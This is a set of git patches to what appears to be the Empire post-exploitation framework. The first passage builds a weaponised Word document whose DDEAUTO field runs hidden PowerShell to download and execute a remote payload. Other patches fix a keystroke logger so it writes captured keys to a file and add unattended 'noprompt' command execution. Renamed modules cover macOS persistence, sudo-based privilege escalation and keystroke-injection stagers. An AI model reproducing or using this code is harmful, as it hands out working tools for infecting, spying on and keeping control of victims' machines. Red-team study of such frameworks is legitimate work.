Accent 1\" w:uiPriority=\"49\"/><w:lsdException w:name=\"List Table 5 Dark Accent 1\" w:uiPriority=\"50\"/><w:lsdException w:name=\"List Table 6 Colorful Accent 1\" w:uiPriority=\"51\"/><w:lsdException w:name=\"List Table 7 Colorful Accent 1\" w:uiPriority=\"52\"/><w:lsdException w:name=\"List Table 1 Light Accent 2\" w:uiPriority=\"46\"/><w:lsdException w:name=\"List Table 2 Accent 2\" w:uiPriority=\"47\"/><w:lsdException w:name=\"List Table 3 Accent 2\" w:uiPriority=\"48\"/><w:lsdException w:name=\"List Table 4 Accent 2\" w:uiPriority=\"49\"/><w:lsdException w:name=\"List Table 5 Dark Accent 2\" w:uiPriority=\"50\"/><w:lsdException w:name=\"List Table 6 Colorful Accent 2\" w:uiPriority=\"51\"/><w:lsdException w:name=\"List Table 7 Colorful Accent 2\" w:uiPriority=\"52\"/><w:lsdException w:name=\"List Table 1 Light Accent 3\" w:uiPriority=\"46\"/><w:lsdException w:name=\"List Table 2 Accent 3\" w:uiPriority=\"47\"/><w:lsdException w:name=\"List Table 3 Accent 3\" w:uiPriority=\"48\"/><w:lsdException w:name=\"List Table 4 Accent 3\" w:uiPriority=\"49\"/><w:lsdException w:name=\"List Table 5 Dark Accent 3\" w:uiPriority=\"50\"/><w:lsdException w:name=\"List Table 6 Colorful Accent 3\" w:uiPriority=\"51\"/><w:lsdException w:name=\"List Table 7 Colorful Accent 3\" w:uiPriority=\"52\"/><w:lsdException w:name=\"List Table 1 Light Accent 4\" w:uiPriority=\"46\"/><w:lsdException w:name=\"List Table 2 Accent 4\" w:uiPriority=\"47\"/><w:lsdException w:name=\"List Table 3 Accent 4\" w:uiPriority=\"48\"/><w:lsdException w:name=\"List Table 4 Accent 4\" w:uiPriority=\"49\"/><w:lsdException w:name=\"List Table 5 Dark Accent 4\" w:uiPriority=\"50\"/><w:lsdException w:name=\"List Table 6 Colorful Accent 4\" w:uiPriority=\"51\"/><w:lsdException w:name=\"List Table 7 Colorful Accent 4\" w:uiPriority=\"52\"/><w:lsdException w:name=\"List Table 1 Light Accent 5\" w:uiPriority=\"46\"/><w:lsdException w:name=\"List Table 2 Accent 5\" w:uiPriority=\"47\"/><w:lsdException w:name=\"List Table 3 Accent 5\" w:uiPriority=\"48\"/><w:lsdException w:name=\"List Table 4 Accent 5\" w:uiPriority=\"49\"/><w:lsdException w:name=\"List Table 5 Dark Accent 5\" w:uiPriority=\"50\"/><w:lsdException w:name=\"List Table 6 Colorful Accent 5\" w:uiPriority=\"51\"/><w:lsdException w:name=\"List Table 7 Colorful Accent 5\" w:uiPriority=\"52\"/><w:lsdException w:name=\"List Table 1 Light Accent 6\" w:uiPriority=\"46\"/><w:lsdException w:name=\"List Table 2 Accent 6\" w:uiPriority=\"47\"/><w:lsdException w:name=\"List Table 3 Accent 6\" w:uiPriority=\"48\"/><w:lsdException w:name=\"List Table 4 Accent 6\" w:uiPriority=\"49\"/><w:lsdException w:name=\"List Table 5 Dark Accent 6\" w:uiPriority=\"50\"/><w:lsdException w:name=\"List Table 6 Colorful Accent 6\" w:uiPriority=\"51\"/><w:lsdException w:name=\"List Table 7 Colorful Accent 6\" w:uiPriority=\"52\"/></w:latentStyles><w:style w:type=\"paragraph\" w:default=\"1\" w:styleId=\"Normal\"><w:name w:val=\"Normal\"/><w:qFormat/></w:style><w:style w:type=\"character\" w:default=\"1\" w:styleId=\"DefaultParagraphFont\"><w:name w:val=\"Default Paragraph Font\"/><w:uiPriority w:val=\"1\"/><w:semiHidden/><w:unhideWhenUsed/></w:style><w:style w:type=\"table\" w:default=\"1\" w:styleId=\"TableNormal\"><w:name w:val=\"Normal Table\"/><w:uiPriority w:val=\"99\"/><w:semiHidden/><w:unhideWhenUsed/><w:tblPr><w:tblInd w:w=\"0\" w:type=\"dxa\"/><w:tblCellMar><w:top w:w=\"0\" w:type=\"dxa\"/><w:left w:w=\"108\" w:type=\"dxa\"/><w:bottom w:w=\"0\" w:type=\"dxa\"/><w:right w:w=\"108\" w:type=\"dxa\"/></w:tblCellMar></w:tblPr></w:style><w:style w:type=\"numbering\" w:default=\"1\" w:styleId=\"NoList\"><w:name w:val=\"No List\"/><w:uiPriority w:val=\"99\"/><w:semiHidden/><w:unhideWhenUsed/></w:style></w:styles>"""
+
+				f = open(outdir + "word/styles.xml", 'w')
+				f.write(styles)
+
+				web_settings = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<w:webSettings xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:w16se="http://schemas.microsoft.com/office/word/2015/wordml/symex" mc:Ignorable="w14 w15 w16se"><w:optimizeForBrowser/><w:allowPNG/></w:webSettings>"""
+
+				f = open(outdir + "word/webSettings.xml", 'w')
+				f.write(web_settings)
+
+			def craft_exploit(outdir, url, pshell):
+				document = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<w:document xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:cx="http://schemas.microsoft.com/office/drawing/2014/chartex" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:w16se="http://schemas.microsoft.com/office/word/2015/wordml/symex" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 w15 w16se wp14"><w:body><w:p w:rsidR="00655D12" w:rsidRDefault="0053626A"><w:r><w:fldChar w:fldCharType="begin"/></w:r><w:r><w:instrText>DDEAUTO C:\\\\Windows\\\\System32\\\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('%s/%s');powershell -noP -sta -w 1 -enc $e "</w:instrText></w:r><w:bookmarkStart w:id="0" w:name="_GoBack"/><w:bookmarkEnd w:id="0"/><w:r><w:fldChar w:fldCharType="separate"/></w:r><w:r><w:rPr><w:b/><w:noProof/></w:rPr><w:t>!Unexpected End of Formula</w:t></w:r><w:r><w:fldChar w:fldCharType="end"/></w:r></w:p><w:sectPr w:rsidR="00655D12"><w:pgSz w:w="12240" w:h="15840"/><w:pgMar w:top="1440" w:right="1440" w:bottom="1440" w:left="1440" w:header="720" w:footer="720" w:gutter="0"/><w:cols w:space="720"/><w:docGrid w:linePitch="360"/></w:sectPr></w:body></w:document>""" % (url, pshell)
+
+				f = open(outdir + "word/document.xml", 'w')
+				f.write(document)
+
+			def craft_ps(outdir, pshell_blob, fname):
+				pshell_blob = pshell_blob.split("powershell -noP -sta -w 1 -enc  ")[1]
+				f = open(outdir + fname, 'w')
+				f.write(pshell_blob)
+
+			if output_path[-1] != "/":
+				output_path = output_path + "/"
+
+			create_directory_structure(output_path)
+			create_files(output_path)
+			craft_ps(output_path, launcher, ps1)
+			craft_exploit(output_path, host, ps1)
+
+			# very hacky
+			os.system("cd %s && zip %s%s -r [Content_Types].xml docProps/ _rels word && rm -rf [Content_Types].xml docProps/ _rels/ word/ && cd -" % (output_path, output_path, output_docx))
+
+			print helpers.color("[+] '%s' and '%s' was created in the '%s' directory" % (output_docx, ps1, output_path))
+
+			# very hacky to avoid 'no script returned' message
+			return "import sys"

From 30da1bced1cf2f883e3989e8d28dac46feabb4e1 Mon Sep 17 00:00:00 2001
From: Carrie Roberts <@OrOneEqualsOne>
Date: Tue, 17 Oct 2017 10:25:19 -0600
Subject: [PATCH 20/50] add ability call resource within a resource file

---
 lib/common/empire.py | 45 +++++++++++++++++++++++++++++---------------
 1 file changed, 30 insertions(+), 15 deletions(-)

diff --git a/lib/common/empire.py b/lib/common/empire.py
index dc9e16a..23e4a57 100644
--- a/lib/common/empire.py
+++ b/lib/common/empire.py
@@ -139,14 +139,9 @@ class MainMenu(cmd.Cmd):
         """
         Handle any passed arguments.
         """
-
 	if self.args.resource:
 	    resourceFile = self.args.resource[0]
-	    if os.path.isfile(resourceFile):
-	    	self.do_resource(resourceFile)
-	    else:
-		print helpers.color("\n[!] The resource file specified does not exist '%s'\n" % (resourceFile))
-		time.sleep(5)
+	    self.do_resource(resourceFile)
 
         if self.args.listener or self.args.stager:
             # if we're displaying listeners/stagers or generating a stager
@@ -397,8 +392,32 @@ class MainMenu(cmd.Cmd):
 
     def do_resource(self, arg):
 	"Read and execute a list of Empire commands from a file."
-	with open(arg) as f:
-	    self.resourceQueue.extend(f.read().splitlines())
+	self.resourceQueue.extend(self.buildQueue(arg))
+
+    def buildQueue(self, resourceFile, autoRun=False):
+	cmds = []
+	if os.path.isfile(resourceFile):
+	    with open(resourceFile, 'r') as f:
+		lines = []
+		lines.extend(f.read().splitlines())
+	else:
+	    raise Exception("[!] Error: The resource file specified \"%s\" does not exist" % resourceFile)
+	for lineFull in lines:
+	    line = lineFull.strip()
+	    #ignore lines that start with the comment symbol (#)
+	    if line.startswith("#"):
+		continue
+	    #read in another resource file
+	    elif line.startswith("resource "):
+		rf = line.split(' ')[1]
+		cmds.extend(self.buildQueue(rf, autoRun))
+	    #add noprompt option to execute without user confirmation
+	    elif autoRun and line == "execute":
+		cmds.append(line + " noprompt")
+	    else:
+		cmds.append(line)
+
+	return cmds
 
     def do_exit(self, line):
         "Exit Empire"
@@ -928,6 +947,7 @@ class SubMenu(cmd.Cmd):
 	        raise Exception("endautorun")
 	    self.cmdqueue.append(nextcmd)
 
+
     def do_back(self, line):
 	"Go back a menu."
 	return True
@@ -946,8 +966,7 @@ class SubMenu(cmd.Cmd):
 
     def do_resource(self, arg):
 	"Read and execute a list of Empire commands from a file."
-	with open(arg) as f:
-	    self.mainMenu.resourceQueue.extend(f.read().splitlines())
+	self.mainMenu.resourceQueue.extend(self.mainMenu.buildQueue(arg))
 
     def do_exit(self, line):
         "Exit Empire."
@@ -1024,11 +1043,7 @@ class AgentsMenu(SubMenu):
 		self.mainMenu.autoRuns.clear()
 	#read in empire commands from the specified resource file
 	else:
-	    with open(resourceFile) as f:
-	        cmds = f.read().splitlines()
-	    #don't prompt for user confirmation when running autorun commands
-	    noPromptCmds = [cmd + " noprompt" if cmd == "execute" else cmd for cmd in cmds]
-	    self.mainMenu.autoRuns[language] = noPromptCmds
+	    self.mainMenu.autoRuns[language] = self.mainMenu.buildQueue(resourceFile, True)
 
 
     def do_list(self, line):

From 6a283719f34f5f686c42edfec2b25bd8531fcc98 Mon Sep 17 00:00:00 2001
From: Carrie Roberts <@OrOneEqualsOne>
Date: Tue, 17 Oct 2017 14:28:25 -0600
Subject: [PATCH 21/50] fix PS keylogger bug where it only logged to file while
 you were interacting with the agent

---
 lib/common/agents.py | 17 +++++++++++++++--
 lib/common/empire.py | 20 ++++----------------
 2 files changed, 19 insertions(+), 18 deletions(-)

diff --git a/lib/common/agents.py b/lib/common/agents.py
index 1604fb6..965c9be 100644
--- a/lib/common/agents.py
+++ b/lib/common/agents.py
@@ -1509,6 +1509,7 @@ class Agents:
         """
 
         agentSessionID = sessionID
+	keyLogTaskID = None
 
         # see if we were passed a name instead of an ID
         nameid = self.get_agent_id_db(sessionID)
@@ -1533,6 +1534,7 @@ class Agents:
                     pk = (pk + 1) % 65536
                     cur.execute("INSERT INTO results (id, agent, data) VALUES (?,?,?)",(pk, sessionID, data))
                 else:
+		    keyLogTaskID = cur.execute("SELECT id FROM taskings WHERE agent=? AND data LIKE \"function Get-Keystrokes%\"", [sessionID]).fetchone()[0]
                     cur.execute("UPDATE results SET data=data||? WHERE id=? AND agent=?", [data, taskID, sessionID])
 
         finally:
@@ -1717,9 +1719,20 @@ class Agents:
 
 
         elif responseName == "TASK_CMD_JOB":
+	    #check if this is the powershell keylogging task, if so, write output to file instead of screen
+            if keyLogTaskID and keyLogTaskID == taskID:
+            	safePath = os.path.abspath("%sdownloads/" % self.mainMenu.installPath)
+		savePath = "%sdownloads/%s/keystrokes.txt" % (self.mainMenu.installPath,sessionID)
+		if not os.path.abspath(savePath).startswith(safePath):
+                    dispatcher.send("[!] WARNING: agent %s attempted skywalker exploit!" % (self.sessionID), sender='Agents')
+                    return
+		with open(savePath,"a+") as f:
+		    new_results = data.replace("\r\n","").replace("[SpaceBar]", "").replace('\b', '').replace("[Shift]", "").replace("[Enter]\r","\r\n")
+		    f.write(new_results)
+	    else:
+                # dynamic script output -> non-blocking
+                self.update_agent_results_db(sessionID, data)
 
-            # dynamic script output -> non-blocking
-            self.update_agent_results_db(sessionID, data)
             # update the agent log
             self.save_agent_log(sessionID, data)
 
diff --git a/lib/common/empire.py b/lib/common/empire.py
index 23e4a57..9693504 100644
--- a/lib/common/empire.py
+++ b/lib/common/empire.py
@@ -739,7 +739,6 @@ class MainMenu(cmd.Cmd):
         name = line.strip()
 
         sessionID = self.agents.get_agent_id_db(name)
-
         if sessionID and sessionID != '' and sessionID in self.agents.agents:
             AgentMenu(self, sessionID)
         else:
@@ -1560,27 +1559,17 @@ class PowerShellAgentMenu(SubMenu):
         """
         Handle agent event signals.
         """
+
         if '[!] Agent' in signal and 'exiting' in signal:
             pass
 
         name = self.mainMenu.agents.get_agent_name_db(self.sessionID)
-
         if (str(self.sessionID) + " returned results" in signal) or (str(name) + " returned results" in signal):
             # display any results returned by this agent that are returned
-            # while we are interacting with it
+            # while we are interacting with it, unless they are from the powershell keylogger
             results = self.mainMenu.agents.get_agent_results_db(self.sessionID)
-            if results:
-		if sender == "AgentsPsKeyLogger" and ("Job started:" not in results) and ("killed." not in results):
-            	    safePath = os.path.abspath("%sdownloads/" % self.mainMenu.installPath)
-		    savePath = "%sdownloads/%s/keystrokes.txt" % (self.mainMenu.installPath,self.sessionID)
-		    if not os.path.abspath(savePath).startswith(safePath):
-                        dispatcher.send("[!] WARNING: agent %s attempted skywalker exploit!" % (self.sessionID), sender='Agents')
-                 	return
-		    with open(savePath,"a+") as f:
-			new_results = results.replace("\r\n","").replace("[SpaceBar]", "").replace('\b', '').replace("[Shift]", "").replace("[Enter]\r","\r\n")
-		        f.write(new_results)
-		else:
-                   print "\n" + results
+            if results and not sender == "AgentsPsKeyLogger":
+                print "\n" + results
 
         elif "[+] Part of file" in signal and "saved" in signal:
             if (str(self.sessionID) in signal) or (str(name) in signal):
@@ -1758,7 +1747,6 @@ class PowerShellAgentMenu(SubMenu):
 
             self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", command)
 
-            # update the agent log
             msg = "Tasked agent to kill process: " + str(process)
             self.mainMenu.agents.save_agent_log(self.sessionID, msg)
 

From 20519e45beef0565ee88afe762537978900f4df5 Mon Sep 17 00:00:00 2001
From: Jim Shaver <dcypherd@gmail.com>
Date: Tue, 17 Oct 2017 18:30:13 -0500
Subject: [PATCH 22/50] Migrated from Empyre to Empire in the code.

---
 lib/modules/python/management/multi/spawn.py           |  2 +-
 lib/modules/python/persistence/osx/CreateHijacker.py   |  2 +-
 lib/modules/python/persistence/osx/RemoveDaemon.py     |  2 +-
 .../python/persistence/osx/launchdaemonexecutable.py   |  6 +++---
 lib/modules/python/persistence/osx/loginhook.py        |  2 +-
 lib/modules/python/privesc/multi/sudo_spawn.py         |  2 +-
 lib/modules/python/privesc/osx/piggyback.py            |  2 +-
 lib/stagers/multi/bash.py                              |  2 +-
 lib/stagers/multi/pyinstaller.py                       | 10 +++++-----
 lib/stagers/osx/applescript.py                         |  2 +-
 lib/stagers/osx/application.py                         |  4 ++--
 lib/stagers/osx/ducky.py                               |  2 +-
 lib/stagers/osx/launcher.py                            |  2 +-
 lib/stagers/osx/pkg.py                                 |  2 +-
 lib/stagers/osx/safari_launcher.py                     |  4 ++--
 lib/stagers/osx/teensy.py                              |  6 +++---
 16 files changed, 26 insertions(+), 26 deletions(-)

diff --git a/lib/modules/python/management/multi/spawn.py b/lib/modules/python/management/multi/spawn.py
index 2f05c46..6e29ecd 100644
--- a/lib/modules/python/management/multi/spawn.py
+++ b/lib/modules/python/management/multi/spawn.py
@@ -14,7 +14,7 @@ class Module:
             'Author': ['@harmj0y'],
 
             # more verbose multi-line description of the module
-            'Description': ('Spawns a new EmPyre agent.'),
+            'Description': ('Spawns a new Empire agent.'),
 
             # True if the module needs to run in the background
             'Background' : False,
diff --git a/lib/modules/python/persistence/osx/CreateHijacker.py b/lib/modules/python/persistence/osx/CreateHijacker.py
index 826e610..fa0c22c 100644
--- a/lib/modules/python/persistence/osx/CreateHijacker.py
+++ b/lib/modules/python/persistence/osx/CreateHijacker.py
@@ -12,7 +12,7 @@ class Module:
             'Author': ['@patrickwardle,@xorrior'],
 
             # more verbose multi-line description of the module
-            'Description': ('Configures and EmPyre dylib for use in a Dylib hijack, given the path to a legitimate dylib of a vulnerable application. The architecture of the dylib must match the target application. The configured dylib will be copied local to the hijackerPath'),
+            'Description': ('Configures and Empire dylib for use in a Dylib hijack, given the path to a legitimate dylib of a vulnerable application. The architecture of the dylib must match the target application. The configured dylib will be copied local to the hijackerPath'),
 
             # True if the module needs to run in the background
             'Background' : False,
diff --git a/lib/modules/python/persistence/osx/RemoveDaemon.py b/lib/modules/python/persistence/osx/RemoveDaemon.py
index 13b525f..0c05fe1 100644
--- a/lib/modules/python/persistence/osx/RemoveDaemon.py
+++ b/lib/modules/python/persistence/osx/RemoveDaemon.py
@@ -13,7 +13,7 @@ class Module:
             'Author': ['@xorrior'],
 
             # more verbose multi-line description of the module
-            'Description': ('Remove an EmPyre Launch Daemon.'),
+            'Description': ('Remove an Empire Launch Daemon.'),
 
             # True if the module needs to run in the background
             'Background' : False,
diff --git a/lib/modules/python/persistence/osx/launchdaemonexecutable.py b/lib/modules/python/persistence/osx/launchdaemonexecutable.py
index 46a4b07..8a80590 100644
--- a/lib/modules/python/persistence/osx/launchdaemonexecutable.py
+++ b/lib/modules/python/persistence/osx/launchdaemonexecutable.py
@@ -12,7 +12,7 @@ class Module:
             'Author': ['@xorrior'],
 
             # more verbose multi-line description of the module
-            'Description': ('Installs an EmPyre launchDaemon.'),
+            'Description': ('Installs an Empire launchDaemon.'),
 
             # True if the module needs to run in the background
             'Background' : False,
@@ -67,7 +67,7 @@ class Module:
                 'Value'         :   'com.proxy.initialize'
             },
             'DaemonLocation' : {
-                'Description'   :   'The full path of where the EmPyre launch daemon should be located.',
+                'Description'   :   'The full path of where the Empire launch daemon should be located.',
                 'Required'      :   True,
                 'Value'         :   ''
             }
@@ -163,7 +163,7 @@ process = subprocess.Popen('launchctl load /Library/LaunchDaemons/%s', stdout=su
 process.communicate()
 
 print "\\n[+] Persistence has been installed: /Library/LaunchDaemons/%s"
-print "\\n[+] EmPyre daemon has been written to %s"
+print "\\n[+] Empire daemon has been written to %s"
 
 """ % (encBytes,plistSettings, programname, plistfilename, plistfilename, plistfilename, plistfilename, plistfilename, plistfilename, plistfilename, plistfilename, programname)
 
diff --git a/lib/modules/python/persistence/osx/loginhook.py b/lib/modules/python/persistence/osx/loginhook.py
index 0b3bd63..37c4755 100644
--- a/lib/modules/python/persistence/osx/loginhook.py
+++ b/lib/modules/python/persistence/osx/loginhook.py
@@ -11,7 +11,7 @@ class Module:
             'Author': ['@Killswitch-GUI'],
 
             # more verbose multi-line description of the module
-            'Description': ('Installs EmPyre agent via LoginHook.'),
+            'Description': ('Installs Empire agent via LoginHook.'),
 
             # True if the module needs to run in the background
             'Background' : False,
diff --git a/lib/modules/python/privesc/multi/sudo_spawn.py b/lib/modules/python/privesc/multi/sudo_spawn.py
index fbece19..d684ef4 100644
--- a/lib/modules/python/privesc/multi/sudo_spawn.py
+++ b/lib/modules/python/privesc/multi/sudo_spawn.py
@@ -14,7 +14,7 @@ class Module:
             'Author': ['@harmj0y'],
 
             # more verbose multi-line description of the module
-            'Description': ('Spawns a new EmPyre agent using sudo.'),
+            'Description': ('Spawns a new Empire agent using sudo.'),
 
             # True if the module needs to run in the background
             'Background' : False,
diff --git a/lib/modules/python/privesc/osx/piggyback.py b/lib/modules/python/privesc/osx/piggyback.py
index d71dcaf..4875269 100644
--- a/lib/modules/python/privesc/osx/piggyback.py
+++ b/lib/modules/python/privesc/osx/piggyback.py
@@ -14,7 +14,7 @@ class Module:
             'Author': ['@n00py'],
 
             # more verbose multi-line description of the module
-            'Description': ('Spawns a new EmPyre agent using an existing sudo session.  This works up until El Capitan.'),
+            'Description': ('Spawns a new Empire agent using an existing sudo session.  This works up until El Capitan.'),
 
             # True if the module needs to run in the background
             'Background' : False,
diff --git a/lib/stagers/multi/bash.py b/lib/stagers/multi/bash.py
index c3f5694..fba4a39 100644
--- a/lib/stagers/multi/bash.py
+++ b/lib/stagers/multi/bash.py
@@ -10,7 +10,7 @@ class Stager:
 
             'Author': ['@harmj0y'],
 
-            'Description': ('Generates self-deleting Bash script to execute the EmPyre stage0 launcher.'),
+            'Description': ('Generates self-deleting Bash script to execute the Empire stage0 launcher.'),
 
             'Comments': [
                 ''
diff --git a/lib/stagers/multi/pyinstaller.py b/lib/stagers/multi/pyinstaller.py
index 5175fbb..f3a9ba0 100644
--- a/lib/stagers/multi/pyinstaller.py
+++ b/lib/stagers/multi/pyinstaller.py
@@ -8,10 +8,10 @@ Install steps...
 -- try: apt-get -y install python-pip && pip install pyinstaller
 
 - copy into stagers directory
--- ./EmPyre/lib/stagers/
+-- ./Empire/lib/stagers/
 
-- kick off the emPyre agent on a remote target
--- /tmp/emPyre &
+- kick off the empire agent on a remote target
+-- /tmp/empire &
 
 @TweekFawkes
 
@@ -26,7 +26,7 @@ class Stager:
 
 			'Author': ['@TweekFawkes'],
 
-			'Description': ('Generates an ELF binary payload launcher for EmPyre using pyInstaller.'),
+			'Description': ('Generates an ELF binary payload launcher for Empire using pyInstaller.'),
 
 			'Comments': [
 				'Needs to have pyInstaller setup on the system you are creating the stager on. For debian based operatins systems try the following command: apt-get -y install python-pip && pip install pyinstaller'
@@ -50,7 +50,7 @@ class Stager:
 			'BinaryFile' : {
 				'Description'   :   'File to output launcher to.',
 				'Required'      :   True,
-				'Value'         :   '/tmp/emPyre'
+				'Value'         :   '/tmp/empire'
 			},
       'SafeChecks' : {
           'Description'   :   'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.',
diff --git a/lib/stagers/osx/applescript.py b/lib/stagers/osx/applescript.py
index 126c0cb..4c967df 100644
--- a/lib/stagers/osx/applescript.py
+++ b/lib/stagers/osx/applescript.py
@@ -10,7 +10,7 @@ class Stager:
 
             'Author': ['@harmj0y'],
 
-            'Description': ('Generates AppleScript to execute the EmPyre stage0 launcher.'),
+            'Description': ('Generates AppleScript to execute the Empire stage0 launcher.'),
 
             'Comments': [
                 ''
diff --git a/lib/stagers/osx/application.py b/lib/stagers/osx/application.py
index 3008251..dd64609 100644
--- a/lib/stagers/osx/application.py
+++ b/lib/stagers/osx/application.py
@@ -10,7 +10,7 @@ class Stager:
 
             'Author': ['@xorrior'],
 
-            'Description': ('Generates an EmPyre Application.'),
+            'Description': ('Generates an Empire Application.'),
 
             'Comments': [
                 ''
@@ -42,7 +42,7 @@ class Stager:
                 'Value'         :   ''
             },
             'OutFile' : {
-                'Description'   :   'path to output EmPyre application. The application will be saved to a zip file.',
+                'Description'   :   'path to output Empire application. The application will be saved to a zip file.',
                 'Required'      :   True,
                 'Value'         :   '/tmp/out.zip'
             },
diff --git a/lib/stagers/osx/ducky.py b/lib/stagers/osx/ducky.py
index 883d534..f4873b2 100755
--- a/lib/stagers/osx/ducky.py
+++ b/lib/stagers/osx/ducky.py
@@ -9,7 +9,7 @@ class Stager:
 
             'Author': ['@xorrior'],
 
-            'Description': ('Generates a ducky script that runs a one-liner stage0 launcher for EmPyre.'),
+            'Description': ('Generates a ducky script that runs a one-liner stage0 launcher for Empire.'),
 
             'Comments': [
                 ''
diff --git a/lib/stagers/osx/launcher.py b/lib/stagers/osx/launcher.py
index aca7f95..4b09157 100644
--- a/lib/stagers/osx/launcher.py
+++ b/lib/stagers/osx/launcher.py
@@ -10,7 +10,7 @@ class Stager:
 
             'Author': ['@harmj0y'],
 
-            'Description': ('Generates a one-liner stage0 launcher for EmPyre.'),
+            'Description': ('Generates a one-liner stage0 launcher for Empire.'),
 
             'Comments': [
                 ''
diff --git a/lib/stagers/osx/pkg.py b/lib/stagers/osx/pkg.py
index 7a5a2d7..910dc81 100644
--- a/lib/stagers/osx/pkg.py
+++ b/lib/stagers/osx/pkg.py
@@ -9,7 +9,7 @@ class Stager:
 
             'Author': ['@xorrior'],
 
-            'Description': ('Generates a pkg installer. The installer will copy a custom (empty) application to the /Applications folder. The postinstall script will execute an EmPyre launcher.'),
+            'Description': ('Generates a pkg installer. The installer will copy a custom (empty) application to the /Applications folder. The postinstall script will execute an Empire launcher.'),
 
             'Comments': [
                 ''
diff --git a/lib/stagers/osx/safari_launcher.py b/lib/stagers/osx/safari_launcher.py
index 9f16b63..f9ee215 100644
--- a/lib/stagers/osx/safari_launcher.py
+++ b/lib/stagers/osx/safari_launcher.py
@@ -10,7 +10,7 @@ class Stager:
 
             'Author': ['@424f424f'],
 
-            'Description': ('Generates an HTML payload launcher for EmPyre.'),
+            'Description': ('Generates an HTML payload launcher for Empire.'),
 
             'Comments': [
                 'https://www.exploit-db.com/exploits/38535/'
@@ -98,4 +98,4 @@ class Stager:
       };
 </script></body></html>
     """ % (launcher)
-        return html
\ No newline at end of file
+        return html
diff --git a/lib/stagers/osx/teensy.py b/lib/stagers/osx/teensy.py
index 924bfb7..cc8ae05 100644
--- a/lib/stagers/osx/teensy.py
+++ b/lib/stagers/osx/teensy.py
@@ -10,7 +10,7 @@ class Stager:
 
             'Author': ['Matt @matterpreter Hand'],
 
-            'Description': ('Generates a Teensy script that runs a one-liner stage0 launcher for EmPyre.'),
+            'Description': ('Generates a Teensy script that runs a one-liner stage0 launcher for Empire.'),
 
             'Comments': [
                 ''
@@ -116,7 +116,7 @@ class Stager:
             teensyCode += "    Keyboard.send_now();\n"
             teensyCode += "    clearKeys();\n"
             teensyCode += "}\n\n"
-            teensyCode += "void empyre(void) {\n"
+            teensyCode += "void empire(void) {\n"
             teensyCode += "    delay(500);\n"
             teensyCode += "    mac_minWindows();\n"
             teensyCode += "    mac_minWindows();\n"
@@ -132,7 +132,7 @@ class Stager:
             teensyCode += "    Keyboard.println(\"exit\");\n"
             teensyCode += "}\n\n"
             teensyCode += "void setup(void) {\n"
-            teensyCode += "    empyre();\n"
+            teensyCode += "    empire();\n"
             teensyCode += "}\n\n"
             teensyCode += "void loop() {}"
 

From c814fc942b8a0f777841b9b57c00303ac8bb1c4f Mon Sep 17 00:00:00 2001
From: xorrior <chris@xorrior.com>
Date: Wed, 18 Oct 2017 08:22:21 -0400
Subject: [PATCH 23/50] Reverted back to support any version of TLS

---
 empire                     | 11 ++++++++++-
 lib/listeners/http.py      | 12 +++++++++++-
 lib/listeners/http_com.py  | 11 ++++++++++-
 lib/listeners/http_mapi.py | 11 ++++++++++-
 4 files changed, 41 insertions(+), 4 deletions(-)

diff --git a/empire b/empire
index 0d7f49a..6206659 100755
--- a/empire
+++ b/empire
@@ -1227,7 +1227,16 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
 
     # wrap the Flask connection in SSL and start it
     certPath = os.path.abspath("./data/")
-    context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
+
+    # support any version of tls
+    if pyversion[0] == 2 and pyversion[1] == 7 and pyversion[2] >= 13:
+        proto = ssl.PROTOCOL_TLS
+    elif pyversion[0] >= 3:
+        proto = ssl.PROTOCOL_TLS
+    else:
+        proto = ssl.PROTOCOL_SSLv23
+
+    context = ssl.SSLContext(proto)
     context.load_cert_chain("%s/empire-chain.pem" % (certPath), "%s/empire-priv.key" % (certPath))
     app.run(host='0.0.0.0', port=int(port), ssl_context=context, threaded=True)
 
diff --git a/lib/listeners/http.py b/lib/listeners/http.py
index c9bb555..ecde4f2 100644
--- a/lib/listeners/http.py
+++ b/lib/listeners/http.py
@@ -961,7 +961,17 @@ def send_message(packets=None):
             host = listenerOptions['Host']['Value']
             if certPath.strip() != '' and host.startswith('https'):
                 certPath = os.path.abspath(certPath)
-                context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
+                pyversion = sys.version_info
+
+                # support any version of tls
+                if pyversion[0] == 2 and pyversion[1] == 7 and pyversion[2] >= 13:
+                    proto = ssl.PROTOCOL_TLS
+                elif pyversion[0] >= 3:
+                    proto = ssl.PROTOCOL_TLS
+                else:
+                    proto = ssl.PROTOCOL_SSLv23
+
+                context = ssl.SSLContext(proto)
                 context.load_cert_chain("%s/empire-chain.pem" % (certPath), "%s/empire-priv.key"  % (certPath))
                 app.run(host=bindIP, port=int(port), threaded=True, ssl_context=context)
             else:
diff --git a/lib/listeners/http_com.py b/lib/listeners/http_com.py
index fe47b6e..459b2aa 100644
--- a/lib/listeners/http_com.py
+++ b/lib/listeners/http_com.py
